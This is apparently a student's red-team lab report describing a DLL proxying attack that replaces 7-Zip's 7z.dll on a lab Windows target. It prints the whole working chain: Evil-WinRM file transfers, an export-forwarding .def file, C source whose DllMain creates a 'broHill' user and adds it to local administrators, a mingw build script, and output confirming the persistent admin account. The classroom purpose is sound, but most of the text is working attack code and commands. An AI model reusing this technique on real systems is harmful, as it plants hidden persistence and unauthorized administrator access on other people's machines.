

## **DLL Attacks Report**



This report outlines the process taken to replace a legitimate dll file on the target with a malicious dll file. This dll file creates an admin user for persistence. As shown in the above screenshot from virus total, only one security vendor marked the file as malicious.



The first step I took was to locate the 7-zip dll file I wanted to turn malicious.

```
PS C:\Users\brailee.ogden\Documents> cd C:\'Program Files'\7-zip
            PS C:\Program Files\7-zip> dir
   Directory: C:\Program Files\7-zip
Mode
                   LastWriteTime
                                        Length Name
             3/8/2022 5:29 AM
da----
                                              Lang
           11/22/2021
                       4:00 PM
                                        110080 7-zip.chm
-a---
            3/28/2022
                       8:20 AM
                                        93175 7-zip.dll
                       7:00 PM
           11/24/2021
                                        62464 7-zip32.dll
            3/31/2022
                        7:00 AM
                                         94011 7z.dll
            11/24/2021
                                        534016 7z.exe
                        7:00 PM
                        7:00 PM
           11/24/2021
                                        214016 7z.sfx
           11/24/2021
                       7:00 PM
                                        193536 7zCon.sfx
           11/24/2021
                       7:00 PM
                                        944128 7zFM.exe
           11/24/2021
                       7:00 PM
                                        665088 7zG.exe
-a---
           3/29/2022
                       1:01 AM
                                       94011 7z_bk.dll
            1/28/2018
                       2:00 PM
                                           366 descript.ion
           11/24/2021
                                         53841 History.txt
                       7:14 PM
-a---
           1/17/2021
3/31/2022
-a---
                        8:12 PM
                                         3990 License.txt
                        6:33 AM
                                       1697280 original.dll
          11/24/2021
                                       93696 originalfile.dll
                        7:00 PM
         11/24/2021
                                       1697280 original_bk.dll
                        7:00 PM
         11/22/2021 3:00 PM
                                       1696 readme.txt
            3/23/2022 11:02 AM
-a---
                                       7803904 windows-agent.exe
            PS C:\Program Files\7-zip> cp original.dll C:\Users\brailee.ogden\Documents\
            PS C:\Program Files\7-zip>
```

Note that my fellow students had already replaced the 7z.dll file with their own malicious file. As such, I copied the original.dll file to the C:\Users\brailee.ogden\Documents\ folder.

```
*Evil-WinRM* PS C:\Users\brailee.ogden\Documents> download original.dll
Info: Downloading original.dll to ./original.dll
Info: Download successful!
```

From this point I downloaded the original.dll file to my kali box.

I then ran the original.dll file through the get exports.py script, then exported the results to the proxy.def file.

```
(agent22 ks5)-[~/Documents/it420/red/dllAttacks]

$ cat proxy.def

EXPORTS

CreateDecoder=original.CreateDecoder @1

CreateEncoder=original.CreateEncoder @2

CreateObject=original.CreateObject @3

GetHandlerProperty=original.GetHandlerProperty @4

GetHandlerProperty2=original.GetHandlerProperty2 @5

GetHashers=original.GetHashers @6

GetIsArc=original.GetIsArc @7

GetMethodProperty=original.GetMethodProperty @8

GetNumberOfFormats=original.GetNumberOfFormats @9

GetNumberOfMethods=original.GetNumberOfMethods @10

SetCaseSensitive=original.SetCaseSensitive @11

SetCodecs=original.SetCodecs @12
```

This pulls the library calls/exports present in the original.dll file and places them in the proxy.def file. It then redirects those export requests to the original.dll file. The malicious dll file I create will eventually be named 7z.dll, not original.dll. Thus, the redirect.

```
#include <windows.h>
     void mirror()
 5
          system("net user broHill easy123 /add");
          system("net localgroup administrators broHill /add");
     BOOL WINAPI DllMain(HMODULE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
10
11
         switch (fdwReason)
12
13
          case DLL PROCESS ATTACH:/* constant-expression */:
              mirror();
15
              break;
        case DLL_THREAD_ATTACH:/* constant-expression */:
16
17
18
              break;
19
        case DLL_THREAD_DETACH:/* constant-expression */:
20
              /* code */
21
              break;
22
        case DLL_PROCESS_DETACH:/* constant-expression */:
23
              break;
25
26
         default:
27
              break;
28
29
          }
30
         return TRUE;
```

Next, I copied the code from the PowerPoint. Michael then informed me that the proxy.c code was in the github I already pulled down. I then, edited that code to reflect the code in the above screenshot. This code creates the broHill user and adds it to the local administrators group when a dll process is attached.

```
(agent22@ ks5)-[~/Documents/it420/red/dllAttacks]

$ sudo apt install mingw-w64

Reading package lists... Done

Building dependency tree... Done

Reading state information... Done

The following packages were automatically installed and are no longer required:
    golang-1.17 golang-1.17-doc golang-1.17-go golang-1.17-src libodbc1 libodbccr2 libopenaptx0 libpoppler102

Use 'sudo apt autoremove' to remove them.

The following additional packages will be installed:
    binutils-mingw-w64-i686 binutils-mingw-w64-x86-64 g++-mingw-w64 g++-mingw-w64-i686 g++-mingw-w64-i686-posix
    g++-mingw-w64-i686-win32 g++-mingw-w64-x86-64 g++-mingw-w64-x86-64-win32 gcc-mingw-w64
```

Next, I installed the mingw C compiler.

```
#!/bin/bash
x86_64-w64-mingw32-gcc -m64 -c -0s proxy.c -Wall -shared -masm=intel
x86_64-w64-mingw32-dllwrap -m64 --def proxy.def proxy.o -o proxy.dll
~
```

Then, wrote the above script with mingw commands.

```
-(agent22®ks5)-[~/Documents/it420/red/dllAttacks]
 -$ source compileScript.sh
x86_64-w64-mingw32-dllwrap: WARNING: x86_64-w64-mingw32-dllwrap is deprecated, use gcc -shared or ld -shared instead
  -(agent22® ks5)-[~/Documents/it420/red/dllAttacks]
total 1776
-rw-r--r-- 1 agent22 agent22
                                 150 Mar 31 17:16 compileScript.sh
rw-r--r-- 1 agent22 agent22
                                 424 Mar 31 16:11 get_exports.py
-rw-r--r-- 1 agent22 agent22 1697280 Mar 31 15:06 original.dll
rw-r--r-- 1 agent22 agent22
                                 445 Mar 31 16:53 proxy.c
rw-r--r-- 1 agent22 agent22
                                 620 Mar 31 16:17 proxy.def
rwxr-xr-x 1 agent22 agent22
                               94011 Mar 31 17:16 proxy.dll
drwxr-xr-x 3 agent22 agent22
                                4096 Mar 31 15:33 ProxyDLLExample
                                1002 Mar 31 17:16 proxy.o
rw-r--r-- 1 agent22 agent22
```

Next, I used the mingw script to combine the proxy.c file and the proxy.def file into a malicious dll file, proxy.dll.

```
*Evil-WinRM* PS C:\Users\brailee.ogden\Documents>\text{ upload /home/agent22/Documents/it420/red/exploitableService/evil-winrm/proxy_jp03.dll Info: Uploading /home/agent22/Documents/it420/red/exploitableService/evil-winrm/proxy_jp03.dll to C:\Users\brailee.ogden\Documents\proxy_jp03.dll

Data: 125348 bytes of 125348 bytes copied

Info: Upload successful!
```

Subsequently, I uploaded the malicious dll to the target via evil-winrm.

```
PS C:\Users\brailee.ogden\Documents> cp proxy_jp.dll C:\'Program Files'\7-Zip
   vil-WinRM* PS C:\Users\brailee.ogden\Docum
vil-WinRM* PS C:\Program Files\7-Zip> dir
              PS C:\Users\brailee.ogden\Documents> cd C:\'Program Files'\7-Zip
    Directory: C:\Program Files\7-Zip
Mode
                      LastWriteTime
                                               Length Name
                3/8/2022
                             5:29 AM
lda----
                                                       Lang
-a---
              11/22/2021
                             4:00 PM
                                               110080 7-zip.chm
 -a---
               3/28/2022
                             8:20 AM
                                                93175 7-zip.dll
 a----
              11/24/2021
                             7:00 PM
                                                62464 7-zip32.dll
               3/31/2022
                             7:00 AM
                                                94011 7z.dll
                             7:00
                                               534016 7z.exe
```

I then copied that dll file from the upload location to the 7-zip directory.

Mode	Last	WriteTime	Length	Name
da	3/8/2022	5:29 AM		Lang
-a	11/22/2021	4:00 PM	110080	7-zip.chm
-a	3/28/2022	8:20 AM	93175	7-zip.dll
-a	11/24/2021	7:00 PM	62464	7-zip32.dll
-a	4/1/2022	12:14 AM	94011	7z.dll
-a	11/24/2021	7:00 PM	534016	7z.exe
-a	11/24/2021	7:00 PM	214016	7z.sfx
-a	11/24/2021	7:00 PM	193536	7zCon.sfx
-a	11/24/2021	7:00 PM	944128	7zFM.exe is taking too long to respond
-a	11/24/2021	7:00 PM	665088	7zG.exe
-a	3/31/2022	7:00 AM	94011	7z_backup.dll
-a	3/29/2022	1:01 AM	94011	7z_bk.dll
-a	1/28/2018	2:00 PM	366	descript.ion
-a	11/24/2021	7:14 PM	53841	History.txt
-a	1/17/2021		3990	License.txt
-a	3/31/2022	6:33 AM	1697280	original.dll
-a	11/24/2021	7:00 PM	93696	originalfile.dll
-a	11/24/2021	7:00 PM	1697280	original_bk.dll
-a	11/22/2021	3:00 PM	1696	readme.txt
-a	3/23/2022	11:02 AM	7803904	windows-agent.exe
	·	·		

Next, I renamed the existing malicious 7z.dll file to 7z\_backup.dll. I then renamed my malicious dll, proxy\_jp.dll, to 7z.dll. We could possibly configure the 7z.dll file to point at each students individually named dll file in future. Then, each students dll file could point to their own original file. However, I realize that this would never be deployed in a real hacking situation.

```
#EVIL-WinRM* PS C:\Program Files\7-Zip> .\7z.exe a C:\Users\brailee.ogden\Documents\hist.7z History.txt
7z.exe : The password does not meet the password policy requirements. Check the minimum password length, password complexity and password history requirements.

+ CategoryInfo : NotSpecified: (The password do...y requirements.:String) [], RemoteException

+ FullyQualifiedErrorId : NativeCommandError

More help is available by typing NET HELPMSG 2245.

There is no such global user or group: broHill.

More help is available by typing NET HELPMSG 3783.

7-Zip 21.06 (x64) : Copyright (c) 1999-2021 Igor Pavlov : 2021-11-24

System ERROR:
Not implemented
```

I then ran 7z.exe in order to execute the malicious commands hidden in the dll file. The commands executed but unfortunately both failed. The first command failed because the password I configured in the dll file didn't meet the password complexity requirements set on the system. The second command failed because the first command didn't create the user.

I then fixed the password in the proxy.c file, rebuilt the dll, uploaded it, and replazed the 7z.dll file. I then executed the test again and both commands ran successfully.

```
Evil-WinRM* PS C:\Users\brailee.ogden\Documents> net users
User accounts for \\
                                                  broHill
Administrator
                        ansible
                        dfijack
                                                  dlhijack
DefaultAccount
dlladmin
                        dllhijackjs
                                                  dllhijackjs2
francis
                         francisNet
                                                  Guest
wifidll
                         xinkis
The command completed with one or more errors.
```

As you can see in the above screenshot, the broHill account has been added.

```
PS C:\Users\brailee.ogden\Documents> net localgroup administrators
Alias name
               administrators
               Administrators have complete and unrestricted access to the computer/domain
Comment
Members
Administrator
ansible
broHill
dfijack
dlladmin
francis
wifidll
windomain\brailee.ogden
windomain\Domain Admins
xinkis
The command completed successfully.
```

The broHill account has also been made a local administrator.

Now, every time a user on the target runs 7z the broHill user will be created and granted administrator rights.